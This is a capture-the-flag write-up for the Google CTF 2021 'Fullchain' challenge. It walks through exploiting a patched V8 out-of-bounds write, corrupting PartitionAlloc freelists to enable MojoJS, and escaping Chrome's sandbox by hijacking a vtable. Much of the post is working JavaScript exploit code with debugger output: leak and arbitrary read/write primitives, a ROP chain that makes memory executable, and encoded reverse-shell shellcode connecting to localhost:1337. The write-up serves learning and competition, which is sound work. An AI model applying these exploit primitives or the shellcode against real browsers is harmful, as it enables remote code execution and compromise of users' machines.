Google CTF 2021 - Fullchain
Post

Google CTF 2021 - Fullchain

Preview Image

This year, I played Google CTF under team vh++. Although we did not solve this challenge during the CTF, we have finished it afterwards. This write-up explains the process of studying and writing exploit for chromium browser in the challenge Fullchain of Google CTF 2021. Since I have never tried a chrome sandbox escape or partition alloc exploit, this is a fantastic opportunity to learn both. Let’s go!

Challenge Overview

As the challenge name has implied, we need to write a fullchain exploit starting from the chromium renderer and all the way to the linux kernel. This write-up only concerns the renderer and sandbox escape parts. Please find the details about the kernel exploit on my teammate ntrung03. There are several files provided in the challenge:

  • v8_bug.patch and sbx_bug.patch: The patch files that introduce bugs in v8 (chromium javascript engine) and chromium browser.
  • run_chromium.py: A script to run our exploit in the provided chromium.
  • chromium: Provided chromium build
    • mojo_bindings: MojoJS bindings
    • chrome: The chromium binary

When we first tried to run the chrome binary, it didn’t work. Looking at the runner script reveals that it is run in headless mode and so the UI may not working. I decided to build chromium with the UI for easy debugging (the console and getting PIDs.)

The general approach to this challenge is to exploit the renderer bug to enable mojo, then execute the sandbox escape exploit.

Renderer Exploit

2.1. The Bug - Renderer

Let’s look at v8_bug.patch to understand the bug:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
...
   // 9. Let targetLength be target.[[ArrayLength]].
-  const targetLength = target.length;
+  // const targetLength = target.length;

   // 19. Let srcLength be typedArray.[[ArrayLength]].
   const srcLength: uintptr = typedArray.length;
...
   // 21. If srcLength + targetOffset > targetLength, throw a RangeError
   //   exception.
-  CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
-      otherwise IfOffsetOutOfBounds;
+  // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+  //     otherwise IfOffsetOutOfBounds;

The bug is basically an out-of-bound (OOB) write, happening because the range check in TypedArray.prototype.set is removed. This method allows setting the content of a TypedArray from a regular Array or from another TypedArray. The bug is in the latter variant.

It can be triggered like so:

1
2
3
4
5
6
7
8
let ta_src = new Uint8Array(0x10);
let ta_victim = new Uint8Array(0x10);
ta_src.fill(0x41);

// This sets the content of ta_victim starting from the 0x20-th element with the content of ta_src
// ta_victim only has 0x10 elements
// Regularly, this will throw a RangeError exception as mentioned in the patch comment.
ta_victim.set(ta_src, 0x20);

2.2. Exploit Strategy - Renderer

This is the first part of the exploit chain, so the goal here is to enable mojo to allow sandbox escape.

There are several tasks that we usually need to achieve when writing exploit

  1. We need an information leak to calculate useful addresses, such as the chrome binary base, the heap metadata base, etc. We only have an OOB write, how do we get a leak?
  2. We need an arbitrary write primitive. In this case, it is used to enable mojo.
  3. We need to avoid crashing the process at our best. We can’t just pop calc and go brrrr.

Since this is quite a similar goal as the 0CTF/TCTF 2020 Chromium challenge, I heavily referred to its write-ups 1 2 3. The major difference between regular v8 exploit and this exploit is that the allocator in chromium is PartitionAlloc (PA), while on linux, v8 still uses glibc malloc. In addition, there are certain hardening measures 4 in PA that we need to bypass for a successful exploit.

2.3. From Partition Alloc to Mojo

We started with an OOB write on an PA allocated memory chunk. Just like regular heap exploit, there are some places to start:

  1. How are allocated memory organized?
  2. Can we read/write any useful information relatively from the allocated chunk? We can look for metadata and see how PA uses it.
  3. What type of checks are there for allocating/freeing memory?

To help examining objects in chrome, we can pass the --js-flags="--allow-natives-syntax flag to chrome and %DebugPrint objects from the console. In this case, I allocated an ArrayBuffer and look at its allocated backing store. In a release build, it may be difficult to look at the ArrayBuffer layout because of pointer compression, so an easy way to locate the memory is set the first few bytes with a marker value and search for it in pwndbg like so:

# This searches writable memory with the marker qword value

pwndbg> search --qword -w 0x1337133713371335
    0x2562085e9004 0x1337133713371335
    0x2562085ebe08 0x1337133713371335
    0x335e01628000 0x1337133713371335
pwndbg> x/20gx 0x335e01628000
0x335e01628000:	0x1337133713371335	0x0000000000000000
0x335e01628010:	0x0000000000000000	0x0000000000000000
0x335e01628020:	0x408062015e330000	0xbf7f9dfea1ccffff
0x335e01628030:	0x0000000000000000	0x0000000000000000
0x335e01628040:	0x608062015e330000	0x9f7f9dfea1ccffff
0x335e01628050:	0x0000000000000000	0x0000000000000000
0x335e01628060:	0x808062015e330000	0x7f7f9dfea1ccffff
0x335e01628070:	0x0000000000000000	0x0000000000000000
0x335e01628080:	0xa08062015e330000	0x5f7f9dfea1ccffff
0x335e01628090:	0x0000000000000000	0x0000000000000000

Here I allocated an ArrayBuffer of size 0x20, and we can already see some interesting values around the allocated memory. It looks like some address, but in reversed? This means it is stored in big-endian format. And we can see 0x408062015e330000 points to 0x335e01628040, the free slot after the allocated slot. These turn out to be pointers to the next free slots, stored in the first qword of other free slots, and they are part of a freelist. If we allocate 0x20 bytes twice again, 0x335e01628020 and 0x335e01628040 will be returned respectively. The freelist stores the pointer to the next free slot.

At this point, one can think of faking the pointer to the next free slot and have PA allocate it. Let’s try it out

# Fake a free slot at 0x335e01628010, right within our allocated ArrayBuffer
pwndbg> set {long long} 0x335e01628020 = 0x108062015e330000

Received signal 4 ILL_ILLOPN 55f492fec856
#0 0x55f49306aac9 base::debug::CollectStackTrace()
#1 0x55f492fd5bb3 base::debug::StackTrace::StackTrace()
#2 0x55f49306a5f1 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7f6f45b003c0 (/lib/x86_64-linux-gnu/libpthread-2.31.so+0x153bf)
#4 0x55f492fec856 base::internal::(anonymous namespace)::FreelistCorruptionDetected()
#5 0x55f4976ad302 blink::ArrayBufferContents::AllocateMemoryWithFlags()
#6 0x55f49714b6e2 blink::(anonymous namespace)::ArrayBufferAllocator::Allocate()
#7 0x55f491ec709d v8::internal::Heap::AllocateExternalBackingStore()
#8 0x55f491ff2f3a v8::internal::BackingStore::Allocate()
#9 0x55f491da1f42 v8::internal::(anonymous namespace)::ConstructBuffer()
#10 0x55f491da0c67 v8::internal::Builtin_Impl_ArrayBufferConstructor()
#11 0x25620007b7f8 <unknown>
  r8: 0000000000000040  r9: 0000000000000001 r10: 0000256200000013 r11: 0000000008203e99
 r12: 0000000000000008 r13: 0000335e01628020 r14: 000055f498fd6218 r15: 0000335e0053a200
  di: 00007ffe551305b8  si: ef7f9dfea1ccffff  bp: 00007ffe551305c0  bx: 0000000000000003
  dx: 0000000000000020  ax: 0000335e01601140  cx: 108062015e330000  sp: 00007ffe551305b0
  ip: 000055f492fec856 efl: 0000000000010202 cgf: 002b000000000033 erf: 0000000000000000
 trp: 0000000000000006 msk: 0000000000000000 cr2: 0000000000000000
[end of stack trace]

Oops, what do we have here? FreelistCorruptionDetected() ? This must be some hardening. Looking at the code of PA, this is a hardening measure implemented in GetNext()

1
2
3
4
5
6
7
8
9
10
ALWAYS_INLINE PartitionFreelistEntry* PartitionFreelistEntry::GetNext(
    size_t extra) const {
#if defined(PA_HAS_FREELIST_HARDENING)
  // GetNext() can be called on decommitted memory, which is full of
  // zeroes. This is not a corruption issue, so only check integrity when we
  // have a non-nullptr |next_| pointer.
  if (UNLIKELY(next_ && ~reinterpret_cast<uintptr_t>(next_) != inverted_next_))
    FreelistCorruptionDetected(extra);
#endif  // defined(PA_HAS_FREELIST_HARDENING)
  auto* ret = EncodedPartitionFreelistEntry::Decode(next_);

PA stores a mask of the pointer right next to it, and the mask is the inverted (by doing NOT bitwise operation) of the pointer. This is why we see values like 0xbf7f9dfea1ccffff right next to the free slot pointers. The check here has 2 parts:

  • If the _next pointer is null, move on
  • If the _next pointer is non-nullptr, check if ~next_ == inverted_next_

The first part is quite important for later (I’ll explain why). But for now, to bypass this check, we need to also craft the inverted_next_ value. And this yeilds a successful allocation to our controlled address.

Next step is, how do we do this with the OOB write? Because we don’t know any useful address (yet), we can’t fake a full address. But we can partially overwrite an address and its inverted value, hopefully it will be valid. But what address should we target? Reading past write-ups, we know that a slot address is useful because we can use it to derive up to the metadata page address. Conveniently, this address is populated in free slots. We can proceed with the following plan:

  1. Try to allocate to an address that is within an ArrayBuffer we controlled, because we can only read data within valid ranges.
  2. Free the allocated address so that it is populated with a slot address. Then we use our ArrayBuffer to read this leaked data.

After some trial and error, I’ve come up with the following way to leak the slot address:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
// We need to maintain a no GC list to prevent slots from being garbage-collected unintendedly
let no_gc = [];
let N = 8; // Alloc size

// AB and TA for 1-byte r/w
data_ab = new ArrayBuffer(1);
data_ta = new Uint8Array(data_ab);

// This AB is used to read the leak later. We want an overlapping slot with this AB
ab1 = new ArrayBuffer(4 * N);
ta1 = new Uint32Array(ab1);
no_gc.push(ab1);

// Overwrite the last byte of the next freelist ptr, 1 alloc away.
ta_leak = new Uint8Array(ab1);
data_ta[0] = 0x10;
ta_leak.set(data_ta, 4 * N + 7);
// Overwrite the inverted byte
data_ta[0] = 0xef
ta_leak.set(data_ta, 4 * N + 15);

// Alloc 1st time to get freelist head off
tmp = new ArrayBuffer(4 * N);
no_gc.push(tmp);
// Alloc one more time to get to the overwritten pointer
tmp = new ArrayBuffer(4 * N);
tmpa = new Uint32Array(tmp);
no_gc.push(tmp);

// Marker, see if it is overlapped in ab1
tmpa[0] = 0x41414141;
let leak_idx = ta1.indexOf(tmpa[0])

// If we get overlapping slots, we will find this marker value in ab1
if (leak_idx == -1) {
    // throw "Did not get overlapping chunk";
    window.location.reload();
}

// Trigger GC to populate overlapping slot with pointer
for (var i = 0; i < 50; i++) {
    new ArrayBuffer(4 * N);
}

// Need to wait for leak to populate;
setTimeout(() => {
    let pa_leak_hi = undefined;
    let pa_leak_lo = undefined;
    for (var i = 0; i < 0x10000; i++) {
        if (ta1[leak_idx] == 0x41414141 || ta1[leak_idx] == 0)  {
            continue;
            // throw "Did not get leak";
        }

        pa_leak_lo = ta1[leak_idx];
        pa_leak_hi = ta1[leak_idx + 1];
        break;
    }

    if (pa_leak_hi === undefined || pa_leak_lo === undefined) {
        window.location.reload();
    }

    let pa_leak = (BigInt(pa_leak_hi) << 32n) | BigInt(pa_leak_lo);
    pa_leak = byteSwapBigInt(pa_leak);
...

Now that we have a slot address, we can calculate all sorts of useful metadata. An important address is the metadata area, because we can leak the address from chrome binary here. At the same time, we can implement an arbitrary allocate primitive to allocate to any address we want. The constants are taken from partition_alloc_constants.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
function getSuperPageBase(addr) {
    let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
    let superPageBaseMask = ~superPageOffsetMask;
    let superPageBase = addr & superPageBaseMask;
    return superPageBase;
}

function getMetadataAreaBaseFromPartitionSuperPage(addr) {
    let superPageBase = getSuperPageBase(addr);
    let systemPageSize = BigInt(0x1000);
    return superPageBase + systemPageSize;
}

function getPartitionPageMetadataArea(addr) {
    let superPageOffsetMask = (BigInt(1) << BigInt(21)) - BigInt(1);
    let partitionPageIndex = (addr & superPageOffsetMask) >> BigInt(14);
    let pageMetadataSize = BigInt(0x20);
    let partitionPageMetadataPtr = getMetadataAreaBaseFromPartitionSuperPage(addr) + partitionPageIndex * pageMetadataSize;
    return partitionPageMetadataPtr;
}

let page_leak = pa_leak;
metadata_base = getMetadataAreaBaseFromPartitionSuperPage(page_leak);
metadata_area = getPartitionPageMetadataArea(page_leak);

function arb_alloc(addr) {
    l_alloc_ab = new ArrayBuffer(8 * 6);
    no_gc.push(l_alloc_ab);
    l_alloc_arr = new BigUint64Array(l_alloc_ab);
    // Marker for debugging
    l_alloc_arr[0] = 0x1337133713371337n;

    let addr_big = byteSwapBigInt(BigInt(addr));
    write64_ta[0] = addr_big;
    l_alloc_arr.set(write64_ta, 6);

    let inverted_addr = addr_big ^ 0xffffffff_ffffffffn;
    write64_ta[0] = inverted_addr;
    l_alloc_arr.set(write64_ta, 7);

    tmp = new ArrayBuffer(8 * 6);
    no_gc.push(tmp);

    tmp = new ArrayBuffer(8 * 6);
    no_gc.push(tmp);

    return tmp;

}

Now let’s take a look at the data in the metadata area to see what we can do here.

[+] metadata rel base = 0x00002c6001201000
[+] metadata area = 0x00002c6001201080

...

pwndbg> tele 0x00002c6001201000 40
00:0000│  0x2c6001201000 —▸ 0x5628681b60c8 (WTF::Partitions::InitializeOnce()::array_buffer_allocator) ◂— 0x10001000001
01:0008│  0x2c6001201008 —▸ 0x2c6001200000 ◂— 0x0
02:0010│  0x2c6001201010 —▸ 0x2c6001400000 ◂— 0x0
03:0018│  0x2c6001201018 ◂— 0x0
... ↓     8 skipped
0c:0060│  0x2c6001201060 —▸ 0x2c600120c280 ◂— 0xa0c22001602c0000
0d:0068│  0x2c6001201068 ◂— 0x0
0e:0070│  0x2c6001201070 —▸ 0x5628681b60d8 (WTF::Partitions::InitializeOnce()::array_buffer_allocator+16) —▸ 0x2c6001201060 —▸ 0x2c600120c280 ◂— 0xa0c22001602c0000
0f:0078│  0x2c6001201078 ◂— 0x10000ff03000007
10:0080│  0x2c6001201080 —▸ 0x2c6001210710 ◂— 0x20072101602c0000
11:0088│  0x2c6001201088 ◂— 0x0
12:0090│  0x2c6001201090 —▸ 0x5628681b6218 (WTF::Partitions::InitializeOnce()::array_buffer_allocator+336) —▸ 0x2c6001201080 —▸ 0x2c6001210710 ◂— 0x20072101602c0000
13:0098│  0x2c6001201098 ◂— 0x10000fffa950003
14:00a0│  0x2c60012010a0 ◂— 0x0
15:00a8│  0x2c60012010a8 ◂— 0x0
16:00b0│  0x2c60012010b0 —▸ 0x5628681b62b8 (WTF::Partitions::InitializeOnce()::array_buffer_allocator+496) —▸ 0x2c60012010a0 ◂— 0x0
17:00b8│  0x2c60012010b8 ◂— 0x10000ff03590006
18:00c0│  0x2c60012010c0 ◂— 0x0
... ↓     2 skipped
1b:00d8│  0x2c60012010d8 ◂— 0x101000000000000
1c:00e0│  0x2c60012010e0 ◂— 0x0
... ↓     2 skipped
1f:00f8│  0x2c60012010f8 ◂— 0x102000000000000
20:0100│  0x2c6001201100 —▸ 0x2c6001220040 ◂— 0x80002201602c0000
21:0108│  0x2c6001201108 ◂— 0x0
22:0110│  0x2c6001201110 —▸ 0x5628681b6358 (WTF::Partitions::InitializeOnce()::array_buffer_allocator+656) —▸ 0x2c6001201100 —▸ 0x2c6001220040 ◂— 0x80002201602c0000
23:0118│  0x2c6001201118 ◂— 0x10000ff00c00001
24:0120│  0x2c6001201120 ◂— 0x0

The layout of the metadata page is also described in partition_alloc_constants.h

Indeed, there are pointers to the chrome binary. To be able to read this data, we need to do arb_alloc to one of these addresses within the metadata area. Now, remember the check in GetNext()? We need to bypass it here to allocate to where we want. This is where I made my first mistake: I tried to allocate right to 0x2c6001201080, where there is non-null data. There were 2 important things I forgot when I did that:

  • The allocated memory will be initialized with 0s. If we zeroes out the metadata, the process is likely to crash when PA tries to alloc/free.
  • Allocating to an address with non-null data requires crafting the inverted pointer right after that, because when the desired address is the freelist head, GetNext() will be called on it to make the next_ pointer the freelist head. This basically means that we need to write to metadata area if we want to allocate here.

I was stuck here for a while, because I could not just allocate to the address with the chrome data, and if I allocated to an addreses before 0x2c6001201080), it would erase the metadata, leading to a crash very soon. Allocating to addresses far below (0x2c6001201120, for example) did not seem interesting to me because it was just 0s. This turned out to be a huge mistake I made. After the CTF, I asked @harsh_khuha and was told that if I allocate the right size, the metadata will be populated. The reason there were a bunch of 0s was because no slot of that size was requested.

Based on that, obtaining a leak is simple now:

  1. Allocate to an address in metadata area with 0s and calculate the size of the slot span pointed to by the partition page at that address. For example, at 0x2c6001201080, there is the metadata for slot span of size 32B. Since each partition page is 32B, the next page is 0x2c6001201080 + 0x20 = 0x2c60012010a0. Be aware that some pages are unused and data is not populated there.
  2. Simply allocate an ArrayBuffer with that size
1
2
3
4
5
6
7
8
9
// Now this points to slot span of size 64B
metadata_area += 0x80n;

tmp = arb_alloc(metadata_area);
tmpa = new BigUint64Array(tmp);

// Allocate corresponding size to populate with leak
leak_me = new ArrayBuffer(8 * 8);
chrome_leak = tmpa[2];

From here, it is just a matter of calculating the chrome binary base, and arb_alloc to is_mojo_js_enabled_. One can find the offset of this data using readelf

1
2
➜  ggctf readelf -s -W chrome | grep is_mojo_js_enabled_
698090: 000000000c5a0abe     1 OBJECT  LOCAL  HIDDEN    31 _ZN5blink26RuntimeEnabledFeaturesBase19is_mojo_js_enabled_E

Also note that because mojo is disabled, the data at this address is 0x0, which is quite fortunate to do arb_alloc. Even if it was not, simply finding a suitable address around that would not be too difficult. Now after mojo has been enabled, I did not do window.location.reload() but instead opened an iframe, because I did not want the messed up allocations to be garbage collected. Otherwise it would crash.

renderer

Sandbox Escape

3.1. The Bug - Sandbox

Looking at the patch file, we can see that it implements a Mojo interface named CtfInterface, with 3 methods:

  • Read: Unchecked data read, we can read at any offset
  • Write: Unchecked data write, we can write a double value at any offset
  • ResizeVector: This calls resize on the std::vector<double> numbers_ member of the implementation.

To start interacting with the numbers_ vector, we first need to call ResizeVector to get it allocated. Only then can we read and write on it.

1
2
3
4
5
6
7
8
9
10
var ctf_ptr = new blink.mojom.CtfInterfacePtr();
var ctf_name = blink.mojom.CtfInterface.name;
var ctf_rq = mojo.makeRequest(ctf_ptr);
Mojo.bindInterface(ctf_name, ctf_rq.handle);
(async () => {
    await ctf_ptr.resizeVector(0x20/8);
    await ctf_ptr.write(itof(0x1337133713371337n), 0);

    // Do pwn here...
})();

Note that any method call on the interface pointer needs to be await inside an async function. Also, the argument for resizeVector is in double elements, not bytes. Here if I want to allocate 0x20 bytes, I would need to pass in 0x20/8.

Now let’s start the great escape…

3.2. Exploit Strategy - Sandbox

The strategy here is quite straight-forward. It is similar to PlaidCTF 2020 PlaidStore that my teammate ntrung03 also has a write-up here. Basically, the plan is to spray some data structure and hope that we can use the OOB read/write to overwrite the object’s vtable, and then we get code execution by calling the method on our fake vtable.

Just like the renderer exploit, we have a few tasks to do before we can get ultimate code execution:

  1. We need to figure out the size of the object we want to spray so that we allocate our vectors correspondingly. Here I chose to spray the CtfInterface for simplicity.
  2. We need to have a leak to calculate chrome base address.
  3. We need to have a write primitive to write our ROP chain or shellcode somewhere, or we need to know the address of the vectors that we control if we decide to write ROP chain/shellcode here.

To figure out the size of CtfInterface, we can follow the method that instantiates the object: _ZN7content16CtfInterfaceImpl6CreateEN4mojo15PendingReceiverIN5blink5mojom12CtfInterfaceEEE. It would be easier to follow in a debug build with some symbol, but if not, we can still guess what is the size here

   0x0000559e9cc811a0 <+0>:	push   rbp
   0x0000559e9cc811a1 <+1>:	mov    rbp,rsp
   0x0000559e9cc811a4 <+4>:	push   r15
   0x0000559e9cc811a6 <+6>:	push   r14
   0x0000559e9cc811a8 <+8>:	push   r13
   0x0000559e9cc811aa <+10>:	push   r12
   0x0000559e9cc811ac <+12>:	push   rbx
   0x0000559e9cc811ad <+13>:	sub    rsp,0x68
   0x0000559e9cc811b1 <+17>:	mov    r15,rdi
   0x0000559e9cc811b4 <+20>:	mov    edi,0x20
   0x0000559e9cc811b9 <+25>:	call   0x559e9e731190 <_Znwm>
=> 0x0000559e9cc811be <+30>:	mov    rbx,rax

We see that edi is 0x20 in the first call here so we can try to allocate our vectors with the same size, and look in gdb if they end up at the same page. They are, indeed :D

# Search for the marker value
pwndbg> search --qword -w 0x1337133713371337
    0x2d020112d180 0x1337133713371337
    0x2d0201230f00 0x1337133713371337
    0x2d020134d4f0 0x1337133713371337
    0x2d020134d5f0 0x1337133713371337

# Search for the vector pointer address. The object will have this.
pwndbg> search --qword -w 0x2d020112d180
                0x2d0201b4ec08 0x2d020112d180

pwndbg> tele 0x2d0201b4ec08-0x20
00:0000│  0x2d0201b4ebe8 ◂— 0x2fd
01:0008│  0x2d0201b4ebf0 ◂— 0xdead016d000002fd
02:0010│  0x2d0201b4ebf8 ◂— 0xdeadbeefdeadbeef
03:0018│  0x2d0201b4ec00 —▸ 0x556bb2e51f90 —▸ 0x556babcf6130 (content::CtfInterfaceImpl::~CtfInterfaceImpl()) ◂— push   rbp
04:0020│  0x2d0201b4ec08 —▸ 0x2d020112d180 ◂— 0x1337133713371337
05:0028│  0x2d0201b4ec10 —▸ 0x2d020112d1a0 —▸ 0x2d02014835a0 ◂— 0x100000000
06:0030│  0x2d0201b4ec18 —▸ 0x2d020112d1a0 —▸ 0x2d02014835a0 ◂— 0x100000000
07:0038│  0x2d0201b4ec20 ◂— 0x1

At this point, we can start looking for leak. An easy value to leak is the vtable address of the interface, because it is an address in the chrome binary. We just need to scan the page for values ending with some value that looks like our vtable (ending with 0xf90, for example here).

We can also start an arbitrary read/write primitive here. Because the vtable is right next to the vector pointer, we can alter the vector pointer and search within our allocated vectors to see which one is affected. We then know that we can control its vector for arbitrary read/write. When I did this, I noticed that it may be unstable, so it is best to save the original vector pointer and restore it after we have done read/write.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
for (var i = 0; i < 20; i++) {
    var ptr = new blink.mojom.CtfInterfacePtr();
    var rq = mojo.makeRequest(ptr);
    Mojo.bindInterface(ctf_name, rq.handle);
    await ptr.resizeVector(0x20/8);
    // Marker value
    await ptr.write(itof(0x1337133713371337n), 0);
    await ptr.write(itof(0x414142424343n), 3);
    not_gc.push(ptr);
}

let vtable_leak = 0n;
let corrupt_ptr = undefined;
let corrupt_idx = -1;
let rw_ptr  = undefined;
let restore = -1;

for (var ptr of not_gc) {
    for (var i = 0; i < 50; i++) {
        let v = ftoi((await ptr.read(i)).value);
        // Scan for the vtable address ending
        if (vtable_leak == 0n && (v & 0xfffn) == offset_leak_sbx) {
            vtable_leak = v;
            // This saves the original vector address
            restore = (await ptr.read(i + 1)).value;

            // Try to alter the vector pointer and look in our allocated vectors
            // to see which one we are controlling.
            await ptr.write(itof(vtable_leak), i + 1);
            for (var ptr1 of not_gc) {
                let v1 = ftoi((await ptr1.read(0)).value);
                if (v1 != 0x1337133713371337n) {
                    rw_ptr = ptr1;
                    await ptr.write(restore, i + 1);
                    break;
                }
            }

            corrupt_idx = i + 1;
            corrupt_ptr = ptr;
            break;
        }
    }

    if (vtable_leak) {
        break;
    }
}

async function arb_read(addr) {
    await corrupt_ptr.write(itof(addr), corrupt_idx);
    let res = (await rw_ptr.read(0)).value;
    await corrupt_ptr.write(restore, corrupt_idx);
    return res;
}

async function arb_write(addr, value) {
    await corrupt_ptr.write(itof(addr), corrupt_idx);
    await rw_ptr.write(itof(value), 0);
    await corrupt_ptr.write(restore, corrupt_idx);
}

At this point, it is just a matter of overwriting the vtable to point to our fake vtable, and trigger one of the method in the fake vtable.

pwndbg> tele 0x556bb2e51f90
00:0000│  0x556bb2e51f90 —▸ 0x556babcf6130 (content::CtfInterfaceImpl::~CtfInterfaceImpl()) ◂— push   rbp
01:0008│  0x556bb2e51f98 —▸ 0x556babcf6160 (content::CtfInterfaceImpl::~CtfInterfaceImpl()) ◂— push   rbp
02:0010│  0x556bb2e51fa0 —▸ 0x556babcf6290 ◂— push   rbp
03:0018│  0x556bb2e51fa8 —▸ 0x556babcf62f0 ◂— push   rbp
04:0020│  0x556bb2e51fb0 —▸ 0x556babcf6330 ◂— push   rbp
05:0028│  0x556bb2e51fb8 ◂— 0x0

As we can see here, we just need to fake one of these entries and call the method on CtfInterface. I chose to fake the Read method, which is at offset 0x18 of the vtable. To stablize the exploit, I only overwite the vtable of one victim object. It may have a lower chance of triggering but remember, we need to avoid crashing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for (var ptr of not_gc) {
    if (ptr == corrupt_ptr || ptr == rw_ptr) {
        continue;
    }

    for (var i = 0; i < 50; i++) {
        let v = ftoi((await ptr.read(i)).value);
        if (v == vtable_leak) {
            cnt ++;
            let fake_vtable = pivot_addr;
            await ptr.write(itof(fake_vtable), i);

            break;
        }
    }
    if (cnt > 0) {
        break;
    }
}

At the pivot_addr address, I prepared the fake vtable as well as the ROP chain and shellcode. The ROP chain makes the data section chrome executable, and after that, I just jump to the shellcode below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
let rop = [
    add_rsp_pop_rbp,
    0xdeadbeefn,
    0xdeadbeefn,
    xchg_rax,
    0xdeadbeefn,
    0xdeadbeefn,
    // mprotect rwx ROP chain
    pop_rax,
    10n,
    pop_rdi,
    page_start,
    pop_rsi,
    page_len,
    pop_rdx,
    0x7n,
    syscall,
    nop,
    pivot_addr + BigInt(8 * 21),
    nop,
    nop,
    nop,
    nop,
    // 0xcccccccc_ccccccccn,
    // Reverse shell to localhost:1337
    0x16a5f026a58296an,
    0x48c58948050f995en,
    0x1010101010101b8n,
    0x38040103b8485002n,
    0x240431480301017en,
    0x106aef8948582a6an,
    0x36a050fe689485an,
    0x6a560b78ceff485en,
    0xeb050fef89485821n,
    0x69622fb848686aefn,
    0x894850732f2f2f6en,
    0x34810101697268e7n,
    0x56f6310101010124n,
    0x4856e601485e086an,
    0xf583b6ad231e689n,
    0x9090909090909005n
];

arb_write_array(pivot_addr, rop);

// Need to wait for write to populate
setTimeout(async () => {
    for (var ptr of not_gc) {
        if (ptr == corrupt_ptr || ptr == rw_ptr) {
            continue;
        }
        await ptr.read(0);
    }
}, 1000);

And here it is, the long waited shellcode execution…

sbx

Actually Getting The Flag

Now that we’ve got both the renderer and sandbox escape exploit working, we need to chain them together and with the kernel exploit to get the flag. There are serveral things I needed to work on while doing this.

4.1. Chaining The Renderer and Sandbox Escape

Initially, I was spraying too much in the sandbox escape part, leading to garbage collection. This was not good, because the messed up Partition Alloc still exists in the renderer exploit. I needed to tweak the spray from both parts to a lower number of iterations to not encounter this problem.

Secondly, there are some wait duration I had to put in the exploit, because for some reason, the leak and overwrite were not populated right away.

4.2. Chaining The Browser and The Kernel Exploit

This was definitely the fun part. We did not realized that there was no networking in the VM until later on, and so we cannot just redirect the browser exploit to a remote address. Instead, we need to send the whole exploit in HTML/JS. This also means that we can’t just pull the kernel exploit from remote, and we need to put it in the HTML too (probably, right?)

On another note, I tried connecting to the submission server and copy-paste the HTML/JS exploit. It worked for small files, but for the huge exploit, this did not work. Later, I figured out it was some buffering issue and wrote a submit script for it. Worked flawlessly :D

Now for the options of including the kernel exploit:

  • We can write it in shellcode form
  • We can shove it right after the HTML file and execute shellcode to extract it, then run it.
  • We can also just put the source code after the HTML file and extract it, compile it, then run it :D

To save time, I chose the 2nd method, after fighting with remote gcc lacking some stuff. And this did not disappoint us.

fullchain

Conclusion

This has definitely been a wild journey for me, because I have put off learning both PartitionAlloc and chrome sandbox escape for a while. There are several other ideas of solving the challenge I would like to note here:

  • For the renderer exploit, one can control the inlined ArrayBuffer of a TypedArray if it is small enough. This is good enough to achieve arbitrary read/write. I did not know about this until I talked to my friend @kaanezder and @harsh_khuha after the CTF
  • For the sandbox escape, one can choose to rewrite the CommandLine data of chrome to disable the sandbox, and use the renderer exploit again. @tjbecker_ from theori.io has an awesome blog post 5 about this

When writing the exploit, I’ve also made some shellcode generator from pwntools to JSArray.

You can find the full solution here

Please feel free to find me and discuss on twitter @flyingpassword. I would really like to know how I can improve on the debugging as well as the exploitation.

Thank you for reading, and thank you Google CTF for an awesome challenge!

Footnote

  1. https://dmxcsnsbh.github.io/2020/07/20/0CTF-TCTF-2020-Chromium-series-challenge/ 

  2. https://blog.perfect.blue/Chromium-Fullchain 

  3. https://mem2019.github.io/jekyll/update/2020/07/03/TCTF-Chromium-SBX.html 

  4. https://struct.github.io/partition_alloc.html 

  5. https://blog.theori.io/research/escaping-chrome-sandbox/ 

This post is licensed under CC BY 4.0 by the author.